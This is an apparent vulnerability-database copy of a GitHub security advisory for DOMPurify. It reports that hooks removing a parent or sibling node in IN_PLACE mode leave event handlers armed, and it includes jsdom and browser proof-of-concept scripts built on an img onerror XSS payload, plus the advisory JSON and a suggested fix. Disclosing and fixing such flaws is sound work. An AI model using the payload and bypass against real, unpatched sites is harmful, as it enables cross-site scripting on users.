GHSA-MRV2-3PQR-J5JR
Vulnerability from github – Published: 2026-10-22 16:24 – Updated: 2026-10-22 16:24Summary
The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an IN_PLACE hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an <img onerror> that was already loading fires after sanitize() returns.
The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." That does not hold when the detached node is not the hook's own node.
Tested versions
- 3.4.16 (latest) and main at 18f8f0e
- also 3.4.15, 3.4.12 and 2.5.8
jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.
Details
src/purify.ts line 2134 (dist/purify.cjs.js line 2009 in 3.4.16), _handleHookDetachedNode():
if (currentNode === root || getParentNode(currentNode) !== null) {
return false;
}
if (IN_PLACE) {
_neutralizeSubtree(currentNode);
}
It only checks whether currentNode lost its parent. When a hook removes currentNode.parentNode (or any ancestor), currentNode still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in DOMPurify.removed, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.
PoC (jsdom)
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document
for (const mode of ['self', 'parent', 'nextSibling']) {
const DOMPurify = createDOMPurify(win)
doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
'<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
const root = doc.getElementById('root')
const evil = doc.getElementById('evil')
// app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.getAttribute && node.getAttribute('class') === 'bad') {
if (mode === 'self') node.remove()
if (mode === 'parent') node.parentNode.remove()
if (mode === 'nextSibling') node.nextElementSibling.remove()
}
})
DOMPurify.sanitize(root, { IN_PLACE: true })
console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}
Output on 3.4.16:
3.4.16 self onerror = null
3.4.16 parent onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"
In self mode the walker still reaches the second image and strips onerror. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes and afterSanitizeAttributes.
PoC (browser)
The same thing in a real page, served from 127.0.0.1 and opened in Chromium:
<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
const D = DOMPurify(window);
D.addHook('afterSanitizeAttributes', n => {
if (n.getAttribute && n.getAttribute('class') === 'bad') {
if (mode === 'parent') n.parentNode.remove();
if (mode === 'self') n.remove();
}
});
const root = document.createElement('div');
document.body.appendChild(root);
root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
D.sanitize(root, { IN_PLACE: true });
return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
document.getElementById('log').textContent =
'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>
Result on 3.4.16:
version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]
The returned tree is clean in both cases, but the handler on the detached image runs in the page for parent.
Impact
An app that uses IN_PLACE with a hook that removes a wrapper or a nearby element (for example "drop the whole <figure> if its image is not allowed") gets DOM XSS from attacker markup after sanitize() returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.
Suggested fix
Instead of only checking currentNode, check after each hook call whether anything outside the current node was detached. Two simple options:
- before calling a hook in
IN_PLACEmode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached underroot - or, after the walk, neutralize every element that was in the original tree but is no longer connected to
root(for example by collecting the elements before the walk)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.16"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:24:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node\u0027s parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `\u003cimg onerror\u003e` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `\u003cimg onload\u003e` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook\u0027s own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\n return false;\n}\nif (IN_PLACE) {\n _neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require(\u0027jsdom\u0027)\nconst createDOMPurify = require(\u0027dompurify\u0027)\nconst win = new JSDOM(\u0027\u003c!doctype html\u003e\u003cbody\u003e\u003c/body\u003e\u0027).window\nconst doc = win.document\n\nfor (const mode of [\u0027self\u0027, \u0027parent\u0027, \u0027nextSibling\u0027]) {\n const DOMPurify = createDOMPurify(win)\n doc.body.innerHTML = \u0027\u003cdiv id=root\u003e\u003cfigure\u003e\u003cimg class=bad src=a.png\u003e\u0027 +\n \u0027\u003cimg id=evil src=x onerror=alert(1)\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e\u0027\n const root = doc.getElementById(\u0027root\u0027)\n const evil = doc.getElementById(\u0027evil\u0027)\n\n // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\n DOMPurify.addHook(\u0027afterSanitizeAttributes\u0027, (node) =\u003e {\n if (node.getAttribute \u0026\u0026 node.getAttribute(\u0027class\u0027) === \u0027bad\u0027) {\n if (mode === \u0027self\u0027) node.remove()\n if (mode === \u0027parent\u0027) node.parentNode.remove()\n if (mode === \u0027nextSibling\u0027) node.nextElementSibling.remove()\n }\n })\n\n DOMPurify.sanitize(root, { IN_PLACE: true })\n console.log(DOMPurify.version, mode.padEnd(11), \u0027onerror =\u0027, JSON.stringify(evil.getAttribute(\u0027onerror\u0027)))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self onerror = null\n3.4.16 parent onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.\n\n### PoC (browser)\n\nThe same thing in a real page, served from 127.0.0.1 and opened in Chromium:\n\n```html\n\u003c!doctype html\u003e\u003cmeta charset=utf-8\u003e\n\u003cscript src=\"purify.min.js\"\u003e\u003c/script\u003e\n\u003cbody\u003e\u003cpre id=log\u003e\u003c/pre\u003e\n\u003cscript\u003e\nwindow.fired = [];\nfunction run(mode) {\n const D = DOMPurify(window);\n D.addHook(\u0027afterSanitizeAttributes\u0027, n =\u003e {\n if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027class\u0027) === \u0027bad\u0027) {\n if (mode === \u0027parent\u0027) n.parentNode.remove();\n if (mode === \u0027self\u0027) n.remove();\n }\n });\n const root = document.createElement(\u0027div\u0027);\n document.body.appendChild(root);\n root.innerHTML = \u0027\u003cfigure\u003e\u003cimg class=bad src=data:,\u003e\u003cimg src=x onerror=\"fired.push(\\\u0027\u0027 + mode + \u0027\\\u0027)\"\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e\u0027;\n D.sanitize(root, { IN_PLACE: true });\n return root.outerHTML;\n}\nconst a = run(\u0027self\u0027), b = run(\u0027parent\u0027);\nsetTimeout(() =\u003e {\n document.getElementById(\u0027log\u0027).textContent =\n \u0027version=\u0027 + DOMPurify.version + \u0027\\nself out=\u0027 + a + \u0027\\nparent out=\u0027 + b + \u0027\\nfired=\u0027 + JSON.stringify(fired);\n}, 1500);\n\u003c/script\u003e\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out=\u003cdiv\u003e\u003cfigure\u003e\u003cimg src=\"x\"\u003e\u003c/figure\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e\nparent out=\u003cdiv\u003e\u003cp\u003eok\u003c/p\u003e\u003c/div\u003e\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example \"drop the whole `\u003cfigure\u003e` if its image is not allowed\") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under \"input plus an application choice\" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.\n\n### Suggested fix\n\nInstead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options:\n\n- before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node\u0027s ancestors; after the hook, neutralize any of them that are no longer attached under `root`\n- or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)",
"id": "GHSA-mrv2-3pqr-j5jr",
"modified": "2026-10-22T16:24:52Z",
"published": "2026-10-22T16:24:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/pull/1672"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree\u0027s event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.